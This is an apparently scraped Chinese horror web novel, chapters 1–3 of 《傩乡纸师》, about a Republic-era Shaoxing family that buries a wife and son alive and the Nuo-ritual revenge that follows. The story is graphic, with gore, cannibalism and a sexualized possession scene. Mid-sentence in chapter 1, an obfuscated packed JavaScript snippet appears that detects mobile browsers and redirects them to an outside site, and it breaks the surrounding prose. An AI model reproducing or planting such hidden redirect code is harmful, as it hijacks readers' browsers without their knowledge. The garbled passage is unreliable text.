《傩乡纸师》 1. 天字号:阿官(1) 1938年,安昌古镇的一处民宅。 新夫人白氏的灵柩被扣在一个锦缎绣着鹿鹤同春图案的堂罩里。 遗照上的她是个脸容美艳绝伦,眉宇尽显风流的人物,她皮肤很白,乌发朱唇,就算人已经不在,这等绝色佳人逝世也值得惋惜。 宣家在外人看来却是巴不得这场葬礼的,不久前,他们才迎接过新少奶奶进门,不到一个月,同一个大门的侧边已经悬挂上白色的纸扎灯笼。 这俗称麻灯,表示家有重孝。可不知道是不是忘了,喜事的红灯笼也在,红白同挂,屋檐也就多了一抹凶煞阴气。 宣庵庭:“夫人——这不该……夫人啊我儿啊——” 没错,死的人就是这个掩面男子的正妻和独生子。 宣家宗族的人今天凑个整,全低头听着主家少爷嘴里有点雷声大雨点小的哭声,大家还眼看堂屋里陈列起了一个一人高的金丝楠木棺材盖,紧靠少奶奶白氏灵位的那里立起了一对粗制滥造的仙童玉女,尺头桌子旁边只来得及摆上贡品。 因为这个少奶奶白氏和她的孩子是昨夜忽然“暴毙”没了的,丧事物品也就备得潦草,目测连金山银山的盆景都没有。不过这都是民国时期外省丧仪传过来的固定套路,缺了一块也无妨,倒是后边两桌祭品更带有浙闽丧礼的特色了。 其中有一桌是全套的福生道袍,缀有箭头飘带的豆青面,青大领的道袍,深蓝色青大领道袍各一领,青云、白鹤、八仙法物的大红法衣,百寿图万字帖橙黄色法衣,八卦太极图图案紫色法衣各一件,白袜云头履各两双。 一桌是是道家法物,敕令架上插着坐七的令旗,令箭令牌、天蓬尺量天尺,朝简正檀木、米碟、杨枝、净水碗、羊脂、朱砂、砚、朱笔、黄表、奏章匣。 另有道士规定的《天师符》、《天师玉匣记》、《天师万年历》,《天师神魂执照》各一册。 这些明器都摆好,仆从们给白氏磕好了头,下去找管家讨赏。 宣少爷掀开祭棚,他大声说:“张仙师,请您来压一压我妻儿的魂儿吧!” 下一秒,有个黄衣老道士迈天罡步,“腾”地一下就飞上祭坛,出列的高人被好多人给认了出来。 张仙师!这可是位高人? 宣家这是下了血本要来一场驱魔啊! 丧事上的人们纷纷议论之余不由得对葬礼的内部产生了联想,莫非这棺材里的白氏……真的不是人! 外人为何会这么构陷一个深宅大院里的妇道人家?这得把白氏嫁入宣府的故事慢慢从头道来。 那阵子,凡是坐船路过浙江的外仕幕僚,行旅商人,总能闻到街头空气弥漫着一股酱香味。开酒楼的人都知道,最上好的头道酱油,能将食材提鲜百倍千倍,安昌的母子酱油,入口不咸不淡,回甘甜鲜,久藏不腐。 这一代,铺面的东家少爷就是死者白氏的丈夫宣庵亭,他祖籍绍兴,为人恪守祖宗法度,张罗铺子生意到二十三岁才娶头亲,但乡间人最近常议论这位酱园店的少爷新娶的一房妻。 大伙还记得初见白氏的光景,当时腊月刚过,古镇的景致却仿佛变了人间,某日响晴,一条独此一家的乌篷船淌过简陋的桥洞,这三爿开合的船篷便载着旗袍女人和孩子到了宣家祠堂的台阶下。 母子二人听说从舜王庙来,赶路时只吃一顿饭,面黄肌瘦的孩子叫啥,当时没人知晓。 宣家那天更没派人来接她们母子过门。 在外人看来,这并不足为奇,宣少爷与她还是数年前有过一段风花雪月,如今却有了一个风流孽债,谁会愿意信?可白氏前几年被师父已经赶下戏台,遍寻数载有了孩子父亲的音讯,只得无奈拉着证据上门认亲。 保守规矩的古镇上下见不得她这种人,婆子媳妇面露不耻地看看白氏生的男孩子,鼻翼两侧的颤抖是奚落的。 多少个眼睛看着呢,戏子的儿子眼睛生的细眉吊梢,面容白皙清秀,根本不像宣家人,更吓人的是,这个男孩从胎里掉下来就身带异象。 全镇开始取笑宣家,阴阳怪气的:“怪了怪了,那白色头发就完全不像酱油少东家!别是野鸡偷人下的野种。” 宣少爷也是有苦说不出。当年出门做买卖,却瞒着家族和戏子勾栏厮混是一桩,后头的磨难此时才刚刚开始,本来他对母子就毫无怜悯,从前那些戏台上一分钟的事,都是从前的时候,如今又要演一出救风尘,让他把一个民间下九流接进门尊夫人,该多愁人啊。 古镇的流言蜚语再一起,宣少爷对白氏和孩子,也全没有耐心可言。酱油铺表面上多了一个少奶奶,这位少爷白天却只顾张罗生意,夜里也是出门寻花问柳,有时跟人在茶楼顽到半夜三更,府里的丫鬟小厮不送三餐膳食给少奶奶也没人管。 白氏忍着。府里的人也纳闷,白氏这都饿不死吗?镇子上的人因此开始编排一些流言蜚语,而在这群畜牲中,最先把女妖看穿了的当地百姓是酒楼小二阿旺。 他是宣府厨娘翠英的相好,常听到对方说,少奶奶和她儿子好生奇怪,半夜住在阁楼不好好睡觉,总打灯笼,偷去河边。 阿旺想起古镇有个怪谈,一个书生娶了一条赤炼红蛇,后来在端午节那天活吃了夫家满门。 他把事情说给了好多人听,香艳的鬼故事总是勾人肚肠,在座的有酒家掌柜,戴乌毡帽的说书人,还有好多长胡须的族中男子。 起初大家也是听个笑话。 直到阿旺吐着瓜子皮,仔细形容起昨晚他看到白氏母子二人的夜间怪状。他说自己看到白氏脱了衣服下水抓鱼,双脚像能变蛇。 “阿婴,娘亲抓给你的生泥鳅都吃饱了吗?呲溜呲溜,阿娘,好吃,比耗子肉好吃。” 阿旺还学了白氏一句,扯嗓子告诉大家,如果谁家丢失了腊肉鱼干可还好,就怕孩子落入蛇口。 茶楼一片死寂,至此流言再度四起,沉不住气的宣少爷把这古怪的妻儿押在后院酱油缸边,亲自搜出一身上古祭祀的绿红色傩戏服装和一块恐怖的巫鬼面具。 恐惧感逼着宣少爷用绳索把母子捆起来,毒辣辣的雄黄水泼脏了他们的脸,而后烈日又晒干了他们体内所剩无几的水分,到白氏和孩子奄奄一息,她的脖子和腿上已经是一圈血红色的香炉烫痕…… “看来,傩人大祭司她说的一点也没错……一个傩仙被发现祭祀者身份……是注定活不成了……” 白氏眼眶有泪,却无爱,她幽幽地苦笑。 穿右衽长马褂的圆片眼镜男人冷冷淡淡地对着管家挥挥手,“巫蛊,自汉朝以来都是民间的的祸害,为了我全镇百姓的安危,这对母子不能留,我定要舍身取义,大义灭亲。” 宣家少爷留下这样的话,十几个家丁把他的妻儿推入泥坑,白氏被一把无情冷血的暴力和黄土盖住面部,全黑瞳孔的她抱着孩子一起蜷缩在坑底,宣少爷也有些怕了,命令两个家生仆从多担了两个酱缸,把这活死人坟墓埋的死牢又结实。 他还说要把妻儿镇压四十九天。 因为本地民间普遍信仰道教,认为人死三天,灵魂就要正式到阴曹地府报到去,或者被神佛使者接走。一般只有善人才能被神接走,所以民间所说的接幡就是佛来接引亡魂的意思。而家人此时诵经,也能为死者免罪,使其不堕入地狱、恶鬼、畜生三恶途。 此外民间还有另一种说法,死者从去世之后的四十七天内,每隔七天阎王要审问亡魂一次,定功过,平善恶,这个习俗又称过七灾。 所以,如果一个人反其道而行,仅仅把白氏的亡魂拘押在酱油缸,再对外说她和孩子是暴毙而死,用空棺材应付阴曹地府,这对母子就可以永世不得超生。 这个办法实在阴毒,宣家因此也只得多寻高人点拨。 *** 一九三八年二月二十八日,农历戊寅年正月廿九日,宣家少奶奶的装殓正式举行,白氏的丈夫宣少爷跪在拜殿上,哭着烧完一套金刚经,又摔了吉祥盆,大喊一声,“夫人——我儿——” 他悲哭完,丧仪便成了,男人遂被搀起,全体亲友便跟着一起高声举哀。 过了半年,宣少爷在除夕夜续了弦。这次的少奶奶是千金,宅邸有红红火火的打灯笼,那光景,又比白氏来时好看太多了,乡里乡亲凑在外边喜庆的礼堂外,宣家也大方了一回,主动开了一坛祖传秘方母子酱油。 “保佑少夫人多生男丁……保佑全镇香火鼎盛……” 一股独特浓郁的味道从宣宅里外飘了出来,红盖头下的新嫁娘闻着这贵重的夫家彩礼,脸色怎么也不好看,别是她想多了吧,这酱油不黑,怎么还像某种动物尸身上红彤彤的鲜血,她闭眼都感觉发酵的七石缸里面有人体蛆虫漂浮蠕动,好像自己下一秒也要被面目可憎的新郎一把摁入酱缸抽油剥脂了。 *** 1944年。 整个中原大地被国人自己的战火波及,秋桂时分,有一只民兵本准备入驻绍兴保卫乡里,却不想死在了舜王庙的水路上,各个让不明生物咬掉了头颅。 地主老财忙出钱砌墙,烧钱拜神,还找来了一个道士做斋醮仪式。 此人自称金丹南宗,祖师爷是吕洞宾,现居诸暨,门下有三百人,他还挺有派头,让宣家派船接他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950537|160910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的红轿子,身边还带来了两个男女弟子,叫他婴爷。 开始全镇只知道他约莫二十四五岁,面目如同哑谜。但老百姓又能亲眼看到仙师捉鬼,这在当时是罕见的。 当夜,半个镇子人都前往宣家吃席,也正好凑到近处看到了这个过路道士,面相苍白无力的他头上挽着一个道士发髻,一身蓝色斜襟抱袖短褂,腰别葫芦酒壶,腿上还是练家子的绑腿布鞋。 这道爷还真显小。 不过生得还真祸害。 而后,由此人亲自出马的一场驱魔仪式开始。 道士走向了祭坛上摆满各种祭品、祭器还有粮食的地方。 这个古镇此时本是小秋时节,已有不少农作物成熟。 民间早就有用新米向祖先报告秋收的风俗,到了民国后期,他们绍兴古镇更是因为地理环境形成了会向“桥神”献祭的习俗。 所以按照常理,镇子给的祭品管够,可是道士说:“不,若要召唤桥神本尊降临人间,本镇的祭坛之上还差一种祭品。” “这样吧,小道现在就在众人面前“阎王点卯”,问一问‘祂’想要吃什么祭品——” 道士的声音一下子从正常变得庄严而神秘,也不管其他乡民答应不答应,他开始反常,先是往眼皮和面颊涂抹朱砂,又佩戴上一些艳丽的祭祀饰品,并扭动着手中挥舞的法器开始了一场独舞。 他的手势时而充满神话传说的神秘,时而妩媚无声如女子,一种汉语文化不曾触及的陌生语言也回荡在这个法坛上空。 此刻如果有修习天师道的人在,定会认出这就是斋醮法事,在道家,他们做科仪也是必先设“坛”,只是这名小道士举行请神的旨意更像是傩仪,因为他脸上的颜色应该是一种名叫“染面舞”的傩舞,这是古代巫师借以驱鬼逐疫的,跟他说的道士身份对不上。 可这时他身着大红大绿的长袍已经开始了舞蹈,那拖地的袖裙铺满了山海经上记载生物的古老图腾,在火上起舞的身体也真的像会与“桥神”不断交流,代表一干凡人们完成这次的上古献祭。 忽作一声如霹雳,小道士扭头就甩起假面披发,“傩神”仿佛在此刻进入了他的身体,他口中吐出金色火焰,面涂抹青碌,戴面具金睛,红色假面长髯底下的嘴唇念念有词: “戴上脸壳就是神。” “放下脸壳就是人。” 一切咒语听着奇怪归奇怪。 但是看到这里,不知情的全镇还是就以为今夜可以驱赶走魔物,直到后半夜如期而至,唯独没赶上开席的阿旺在邻村喝多了,晚去一会儿。 彼时应该连原定的社戏都已经散戏了,但是阿旺赶到后,浸没在红月之中的府邸躺了一地的“酒鬼”。 男女老少都看起来酩酊大醉,醉醺醺的阿旺推也推不醒。本该带着徒弟在外边吹吹打打的驱魔道长也不翼而飞。 阿旺作为一个活倒霉蛋觉得真莫名其妙。 他走到一个熟人李老三趴好的地方,骂咧咧地扇他的后脑勺:“你这傻蛋,今夜到底……喝多少……你转过头来看我!” 话音刚落,老李的头掉了个儿。 阿旺一阵头炸,热流穿过裤/裆,臭烘烘的热屎直接从裤管子掉出来了。 因为老李死了,死前的五官被针线缝死,不听话的身子和听话的脑袋都在各管各的。 阿旺这才惨叫一声看向四周围,他发现宣家的地上有好多酱油色的血,乌黑发红,他还后知后觉地瞧见金银祭坛上贴红纸的那个,不是猪。 是一张也被缝上眼皮嘴唇的人脸。 但祭坛上的这个人…… 不是纸俑,更不是畜灵,正是和其他人死法完全不一样,被做熟了的……宣庵庭。 夏商时期,历史上一度盛行用活人祭祀。 阿旺以前根本想不到世上会有从小靠着吃人肉才能充饥的“人类”。 他只是猜测,这人手里的馒头可能没有味吧,竟转头看上了宣老爷,还找到一口现成锅就把头往冷水丢了下去,又是拍蒜切姜、又打了一瓶宣家老字号酱油把一锅人给炖上了。 方才,阿旺在路上曾经算过,他的出现和原定的开席时间正好差了个把时辰。 一个时辰,也足够让这道宣老爷被收汁完成。 厨子亲手烧出了地道的酱油红烧肉,叼着半个馒头的嘴巴早馋了,他也想尝尝咸淡。 可他刚撕下了一块暄软雪白的馒头皮,却在这一股肉香中被迫停下,夹着肥腻肉块的手也要空举高着。 因为好死不死的,倒霉鬼阿旺也准备来他的阴曹地府报道了。 2. 天字号:阿官(2) 1944年小秋的一个夜晚,古镇胭巷街104号的外乡人沈樵和他夫人马氏、丫鬟小翠一起在睡觉前夕被阿旺的惨叫声惊醒。 沈樵是个圆面孔,很有书生气质。 在国内开战前,他和家人并不住在绍兴,是一起住在上海租界地头上的。 民国时期,上海的纸扎店铺众多,名号个别,工艺精良,生意兴旺。每年十月前几天还就要开始卖明器、靴、鞋、地府官员帽子、缎带、五彩衣服。 从前江苏省上海县有句老话,叫十月一,鬼穿衣,沈樵的祖上从宋朝开始就是开纸扎店铺的,名气足,他开的纸铺还零售一些售价为每张一角两分半的古法汉皮纸。 这种纸在东汉被蔡伦发明出来,现在也只有少数文人墨客和家里报丧办事情才会买。 他家是道观里师傅都知道的专用纸品老字号,六岁前,沈樵放学后会到父亲店铺里用学工换一块百草梨膏糖,也听伙计们说造纸在古时候最大的宗教用途就是符篆。 符,是道教用的,但要说起缘起就要提到原始宗教的巫术祭祀活动。 巫,传说是人与神灵沟通的媒介,从巫字的结构上来看,巫,上下两条横线分别代表天与地,中间为人,双人之间又有竖线,将天地相连,恰恰起到了传借信息的中间人作用。 而与之对应的傩文化,即是巫人与万物神灵进行沟通的一种形式,这种“请神”形式通过一种名为“傩”的祭祀活动在人类社会展现出来。甚至傩文化的产生,以及传说中的傩人一族和原始社会的物质文明精神文明的混沌存状态有着直接关系。 可这时候的时代已经动荡了一百多年,别说傩人,什么人都过得不好,中日大战初期,各行店铺都已停业,外边的所有店铺中只有两种行当的生意好得出奇,一种是鸦片,另一种就是他们纸扎行业。 这一切论开头得追溯回南京政府当年迁都洛阳,1937年12月13日,日军攻占了当时的中国首都南京。 马氏时年二十岁,沈樵二十九岁,夫妻俩都是江南人,依法结了婚以后就是好好过日子,但外头的战事发展还是超出普通人的控制。 因为在接下来的六个星期里,南京大屠杀发生了。 那一天,全中国的天都是鬼阴阴的,很多上海的居民甚至提前议论是不是有血味顺着黄浦江畔飘过来了。到了下午三点多,江面上能看到一轮乌云密布后的微弱太阳,他们的房东春女士是一个能把两个女儿送到南京读书的洋派女知识分子,她和她家的大妞,小妞爱穿旗袍,学戏曲,直到校方用电报机拍来了噩耗。 “我这个妈,是世上第一等的坏妈妈,我该死!我该让阎罗王杀我一千一万遍!” “到了地官殿,我要做女鬼,将那捅穿我女儿身子的刺刀扒了那帮饿鬼道的假人皮!” 三天后,春女士从沈家店里面订了一对纸扎姑娘,后来她就疯了。 沈樵夫妇自此也看明白了,在这个时代,活得下去就行,总比没有命强,那时候的人都是看着被日本人杀死的同胞才能咬牙切齿地挺下去。 沈樵侥幸秉承了家父的优秀品质,天生精明,善于观察,他长袖善舞,能和地痞流氓保持距离又游刃有余,见大人不卑,见下人不亢,要是他真的一辈子在南京路生活下去,那么沈家将不会有机会来到今夜的绍兴古镇,日后每个人的命运也要重写了。 可惜没如果。 八月底,一个日本人宪兵队严令禁止他们上海的民居点灯火,要求百姓在夜间遮住灯光,以免被敌机发现。 沈家因未能遵守规定被巡逻队摘走了户主牌。 全家没办法就搬了回来。 乌篷船送他们到了绍兴。 时值夏末,沈樵坐在船头闻着街角旁的酱油肉味,对儿时在私塾读书的记忆变得历历在目,原先的沈家几房子孙都已经彻底凋零,他们夫妇如今能居停在这几代人留下的荒废家宅,也是名副其实的祖宗庇佑了。 九月底,他来到宣府隔壁就开始打浆造纸,马氏和小翠买菜补锅做针线活,家里也弄起了一方临水的小天地——一家新的纸店。 他们原以为保守封闭的浙江水乡会是一个很安全的余生归宿,结果是虽然避开了战争,但不知怎么的,他妻子今晚仍旧还总是喊着睡不着,非说自己怕是晚饭吃多了家里的猪油玫瑰年糕。 沈樵抱着马氏,轻拍她的背,又忽然想起来老人家们会说妇人犯腻心恐怕是有喜,他就笑了。 其实这个男人早就想有个孩子继承家业了。 可当初防空警报炮弹砸穿屋顶的动静有多恐怖,没多久从宣家那个席面传来的一阵阵人肉做馅味就有不遑多让。 “哎!吵死了!臭死了……外头这什么味?是不是又有绍兴乡下人在河沟倒马桶!” 推开后窗,沈樵一直知道自己的鼻子好,所以他最憎恨镇子上的婆娘们往河里倒夜香,但是他很快发现空气中仿佛有什么比屎更臭的,闻着像过年刳猪,满地血腥的那种味道!而且刚才的凄厉叫声也很像是人! 沈樵暗想这不对。 这隔壁街的宣家虽然和他们没有交集,沈家三口住在那里,一天到晚,也知道镇子今晚在搞驱魔法事。那时同住一条街的各家各户隔开不远,沈家三口人初来乍到,就连夜里都不敢亮灯的园子离开是非之地不过几十步远,他们该不该出去管管外边? 怕马氏和小翠这种妇道人家感到害怕,沈樵没有轻举妄动,而是亲自点灯笼去了家中的“灶司”菩萨和大厅内的“天地君亲师”牌位以及祖宗堂。 都说穷家富路,他把祠堂这里也修的不错,光是灵牌就有五级,等他走到神龛旁边点了一根香火,插在上有浙江的糕团肉粽子,还有上海流行的白脱奶油西饼蛋糕的供品堆上,他的脊椎微微地拱了一下。 “列祖列宗……” 长布衫男子深吸一口气,带着对宣府今夜怪状的探究欲,他向父母先祖叩头。 叩到最后一次,宗祠内只听男子喊出来一个词:“阿官,请您……再出来一次吧。” 阿官。 乃民国佣人对主家的称呼,沈樵家是个封建传统大家族,他父母在世时曾经在历书上给他认了一个坟亲。 他以前也好奇过阿官的名讳和长相,但因为从小熟知“阿官”的忌讳很多,人类也就从不敢抬头。 既然如此,只能干等着,顺便祈祷家宅平安,早得贵子了。 问卜的时间慢慢动了起来…… 等了很久。 渐渐的,沈樵能感觉到心里很闷,头脑发热,喉头如破窗子一样喘不过气,他还嗅到了一丝丝腐肉味…… 下一秒天外来了一个飞仙,宗祠顶部一只巨灵之掌撞的门框发出哐了啷当声,然后,阿官就爬出来开始对人类说话了:【“……嗬……嗬嗬……”】 这下子,沈樵蹲在蒲团上的身姿一动也不敢动了,他感觉到一股香火味完全对着面颊扑过来,他的体内也多了一种精神亢奋的喜悦,随后这个民国男子就被一根大棒通入他的口腔。 “呃——阿!” 说一句实话,沈樵叫的很奇怪,此刻若是马氏和小翠误闯进来恐怕会误会沈樵背地里的私德有亏。可是事实并不是如此。 当黑暗中有一根触手去扶着眼镜男子的肩膀,抓住他的两腿,嘴里哭着的沈樵只能毫无反抗能力被阿官抓起来倒挂金钩。 接着那两根黏糊糊的条状物体打开了人类的头。 在近代中西医记载中,开颅都是要九死一生,沈樵被外来力量占据脑部思维,也像是要被巨大无比的生物当场撕裂,他扭动身体,满面潮红,不知是痛苦还是舒服,只会哭着呜呜。 可这种在冥司认亲的办法让他必须无条件供奉这个无名氏菩萨,主要用处是辟邪,叫魂……还有一些不足为外人道之的巫傩交感仪式……因此一直到今夜之前,沈家都没有惹过游鬼落神。 现实中,他还在被香炉蜡烛、宗祠灵牌、还有阿官的香火气息包围……一个盘踞在梁柱的巨灵驱散着整个沈家的瘟疫鬼,那些链接人类脊髓的神手比起沈家喝汤的海碗都大上一圈。 半晌,那几根奉旨取鬼的手终于离开了脑颅,昏迷不醒的沈樵才有了意识,并且这个“请神”仪式也让高堂上的上古大神对人类露出了一点点真面容。 嗯……该怎么说呢…… 阿官的样子……好像一个庙里的雕塑神祇复活了,“祂”身高超过一丈,头部宽约三尺,胡须长三尺五寸,胡须是火红色的,面部是蓝色的,“祂”头上戴着束发的金冠,身穿红色的战袍,脚上穿着黑色的皮靴,左手拿着玉印,右手拿着方天画戟,透过黄金制成的面具,飘在空中的“祂”很明显有四个眼睛,每个洞穿人性的血红瞳孔里面又有密密麻麻的红色小眼睛。人类一旦注视过去,这几万个眼睛还会一起眨来眨去。 背着马氏拜祭过“祂”无数次的沈樵一点也不怕。 相反他一直有点崇拜至高无上 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沈樵有祖上留下的阿官,成了“纸匠”经营多年死人买卖,他怎么会不知道外边幽幽暗暗的鬼火绝对不是一个好兆头?要知道,他自小对幽冥世界的规矩习俗涉猎广泛,马氏家里懂过阴,他们以前的弄堂里有谁家孩子撞客了,夫妇俩总能找个水碗替其驱魔。 可他们再有抓鬼本事,作为一个凡夫俗子的日子过得也不好,加上古代百姓在这天都要抢着给先人亡灵送去纸质的衣服,并附带烧些纸钱避免不必要的麻烦…… 沈樵想着,含着一丝不像装出来的“哭”腔,他发出自己根本做不成好人的投降。 “这可不能怪我……还是等明天官府来查吧。” 阿官觉得他讲的话,只有他自己才信。 沈樵不觉,接着继续问:“我还有一个问题,我和我夫人什么时候能有后?” 阿官声如洪钟地问:【“你的夫人叫什么?”】 沈樵说:“闺名志芬,马氏,志芬,她是嘉兴人士。” 阿官算了一下,答:【“她很有福气,也有非一般的智慧,此生是可以成为母亲,祖母,太祖母的人,她的后代都能子孙满堂,还将有一人超越你的先祖和你,这个人未来肯定会出生,我可以提前送一个名字给他。”】 “多谢……哎哟!多谢您哈哈哈……” 沈樵接了阿官给的好卦,万分感谢,连连磕头问:“您算到的名字叫什么?” 阿官答:【“沈选,神选之人。他会在一百年后的某一年,二月二十九寅时出生。”】 还处在一百年前的沈樵这就当真了,他笑道,好好,这个名字真是不得了!而且他和马氏后代既然能得了一个一百年后的预言,自己此生想必也能一世平安,长命百岁。 阿官“走”了之后,马氏端着一碗热腾腾的茶从偏门走了进来。 马氏看着丈夫身后说:“……你怎么又吹着灯拜祭咱家先祖?宣家的卦,看着好不好?” 马氏还有个秘密没说出口。 她早就看出丈夫每次不是在拜先祖,这祠堂内的气味分明是举行过……淫祀。 全民抗战期间,浙江一带充斥着各种民俗怪谈。百姓拜野庙,崇恶神,以不恰当的方式祭祀不合适的神灵,方称作“淫祀”。 所以她不敢多看沈家祠堂,陪沈樵一起装作无事发生。 但是有个被遗漏的问题还是困扰上了沈家的男主人。 ……诶。 沈樵傻了。 对啊对啊。 看他这人!他怎么没问清楚宣家的事情呢! 沈樵本来光顾着高兴,就还没来得点上灯,他不禁看看宣府那绝非偶然的满屋漆黑,其实还是在恐惧,但是,沈樵转念再一想,阿官给自己的后代卦是吉的,如果他“死”得早,那么所谓的后代是怎么来的?自己绝非短命之人吧? 几经思考,心存几分侥幸的生意人沈樵想起宣老爷是地方知名人物。 在这样的情况下,他若能在无事发生的情况下挺身而出,靠沈家家传技艺救人一命,搞不好能托关系领回他上海房子的户主牌。 忽然一下,男子的面容也像是恢复了意气风发,他此刻真的觉得一家人回到上海生活应该是有希望了,不由得两眼放光,望过去显得分外精明,鼻子和嘴巴上只剩下一对贪婪的,不知死期将至的黑色洞窟。 3. 天字号:阿官(3) 沈樵暗自打定主意,索性便衣出门,就来到街上的一所宅院前。 门口排排站着其他大户人家的马车,却看起来空无一人,撑黄油布伞的他只见门匾上镌刻着“宣”这个字。宣府老爷系镇上一长,但沈樵祖上亦是官宦人家,他倒也不拘泥礼节,大胆叩门后迈步跨过出事的台阶。 一进门,他就被一道屏风挡住了去路。当时绍兴人家特别流行置办这种嫁妆物品,祠堂里面熄着灯又特别暗,灯笼能照到的屏风图案只有一只穿长布衫的猫,一群扛花桥,边吹打的乡下老鼠。 “这不是《老鼠嫁女》的典故吗?” 沈樵随便找了一盏油灯,用嘴吹暗一线,再继续分辨着堂屋的样子。 这次一入眼,他看到桌上就有上海都买不到的好几样文玩。 宣家主人翁用的是万历青花茶具、崇祯皇帝亲笔题字的笔筒、前清进贡的山字形笔架和一品狼毫雕花石砚。 他家的墙上画卷乃唐朝贾岛真迹,是一首五言诗,写着“松下问童子,言师采药去,只在此山中,云深不知处。”。 同时,左边那卷百草图纹有松涛水月图案,并有南京某政府官员的隶书作品,写着“千江有水千江月,万里无云万里天。——赠庵庭兄为乡民广施粥米大善大功”。 另有年份约莫三百年的古董纱帐桌灯,另一桌上是古玩陈设表,前有紫红锦匣两对,内放炉鼎瓶罐,另有陶瓦歌妓人若干。 前面看到宣家这么大,沈樵还没多想,他这个人精的视角现在就只能看到镇长有财富有多让人眼红。 可等他带着羡慕,举灯弯腰后,地上几步开外照见的东西真是不得了,那里竟然躺了十几对人腿。 沈樵大惊失色,挨个分辨镇子上的熟面孔们,心想怎么全死了! 但是好在沈樵不是第一个倒霉鬼阿旺,怕归怕,他没大呼小叫,让视线往上走,走到了屋子的正上方。 古代家宅挡灾的第一道保险永远是门上的八卦镜,果不其然,有一面因为某种东西而变黑的镇宅镜碎着,沈樵和镜中满地反射到的冤魂对视一眼,他后背发毛了。 他喃喃自语:“难怪父亲生前总说,真是有钱也怕没命花啊,看来是真的……” 话音落下,他看到在周围尸体的不远处被人放了一张小桌子,中间那个黑色长条子像谁的灵位,他估计这是一名死者的魂牌,据说这种木牌装着死者的灵魂,内面写着她的名字,此外桌上的左边放着一碗饭,中间是一个鸡蛋,有个孔穿通鸡蛋的上面,底下那碗饭分两只筷子插着,这就叫倒头饭。 而在灵牌的右边还放了一只杀好的鸡鸡,鸡头对东,桌子正中间点香,几件死者生前的衣物,还有筷子、酒杯、酒、洗手盆、鞋都在那儿摆着…… 最后这几个东西,对沈樵来说,既视感很强,像他召唤阿官用的。 结合他自己的经历,他开始明白宣家为什么半夜关着门,原以为宣府是安分人家遭了贼人,难道这镇长背地里不是在举行斋醮!他也懂一些巫傩召唤?还想借生祭活人的办法转运添寿? 沈樵紧张之余便忘记了多注意脚边。 哒哒,一只颤颤巍巍的血爪像个蜘蛛一样站了起来,在他身后依稀有一个挽发髻的民国女子正在靠近他。但是她的身子看起来比正常人莫名短了半截。 脚上这时忽然感觉一股汗毛倒立的凉。 沈樵大吃一惊,低头见一个戴着玉镯子的手仍旧抓着他的裤子。 他跌坐,大叫:“你是……宣府……那个厨娘翠英!你……你的腿呢!” 幸存者正是宣家女仆,这翠英此刻不知道为什么只剩了半个血身子,她也没把话接过去,而是七孔流血地告诉沈樵,小少爷回家了,他终于带着母亲白氏的怨恨一起找上门来了。 沈樵的眼睛闪过了一丝惊讶,“小少爷?白氏?” 翠英仿佛仍然惦念着什么,对进门处《老鼠嫁女》的木头屏风流了眼泪。沈樵咽不下对阴宅命案的恐惧,更不敢鲁莽行事,但即使翠英一语不发,常人也能看出端倪。毕竟在民间传说中,这个图案本就是讽刺负心薄幸的“猫新郎”在新婚夜吃掉“老鼠娘子”的。 要说这宣庵庭原本出身商贾,能飞黄腾达,想来确实得靠一些旁门左道。 沈樵暗自不齿地问:“你家宣老爷当年能当官莫不是负了妻儿?他休了白氏?” 没想到那厨娘答:“不,比那还要禽兽,他们……把白氏和孩子活埋了……在那之前,我劝过阿旺……没人听我的,其实这都是那张仙人的害人主意,是那老道人说,小少爷是天生的傩人,最适合做“俑”,老爷就听了他的,把小少爷浑身上下……的五官,血肉,白骨都献给那帮菩萨……我亲耳听到酱油缸里的惨叫响了七天七夜……小少爷从还会求救到没有声音……他亲爹害死了他娘和他……还把他造成了人皮魅……” 沈樵面孔一白。 翠英说的这些东西,真的还是人话吗,可他好死不死还真知道什么叫“俑”。 那么,何为那个张仙人说的人皮魅? 这得追溯到易经,古时中医通过解刨发现,人骨脏器和血管都是固定数目的,后来就有道士发明了一种祭祀,此祀总结起来就是一句话,一个人脱去皮囊,无非有二百零六骨,穿上衣裳,可有一万八千相。若把一具活人身体投入祭坛炼化,把他除了皮肤以外的全部器官供奉给家族香火,那么,这个人只要活下来,他就不再是人类,而成了宣家的俑。 十几年前,宣家正好抓出了白氏母子。男人本想直接杀了孽种,野道士却告诉宣少爷,傩人无论男女都貌美近妖,所以又被称为人皮魅。 白氏的儿子如果能送给他使用,他也会给出交换这个“男俑”的好处,这对日后的宣家一定大有用处。 宣少爷答应了,后来老道士真的把儿子丢进酱油缸带走后,他也自以为一场风月孽债被了结彻底。 但说来也怪,几年后,宣少爷再娶后,他老做梦,还尿湿了一次床榻。 心虚的宣少爷惊魂未定,想起梦里有个浓绿色,鬼阴阴的大眼睛,那是一张渗出恶意的孩子气脸颊,他还管自己笑着叫,爹。 爹,我没死。 我还会来找你的。 宣家人赶紧去挖开坟墓,白氏被蛆虫爬满的腐尸还是在的,不放心的宣少爷又去找老道士。 谁知,堪堪不过半年光景,张仙人竟仙逝了! 道观里的人害怕地说。 仙师自打带回人皮俑,他就中了邪似的,夜夜发春,不出三天就在床头上了吊。 人俑当时肯定已经不知所踪,老道士也没留下遗言,宣家生怕别人知道这桩丑事,也没再对任何人的生死追究到底。 沈樵如今听来,忍不住恶心想吐,心中惊骇无比,他仿佛猜到凶手是哪路厉鬼。 他还知道一点,一个人童年未能得到的家庭教养和社会环境的落后愚昧,对成人的心理创伤是巨大的。 翠英和他想到了一处,含泪找沈樵帮忙:“……求您见着小少爷……替我谢罪……” 厨娘说完就断了气,沈樵也不敢不敬,跪下来对白氏灵位磕了几个头。 可他刚要爬起来,背后又来了一个脚步声。 沈樵想,“来的人是那个宣家小少爷吗!” 他的神智此时已经有点迷失在宣府内部,“鬼打墙”让他感觉宣家小少爷身上有一种近似阿官的迷魂香气,在某一个潜意识深处,他召唤了沈樵这个凡人,牢牢地扼住了对方脖颈。 这种情况也莫名像某一种明亮的响晴天,霹雳不期而至,远处这个人的黑色衣袍似恶灵在发出死亡的召唤,蚀骨之间让人牙齿吓得发抖。 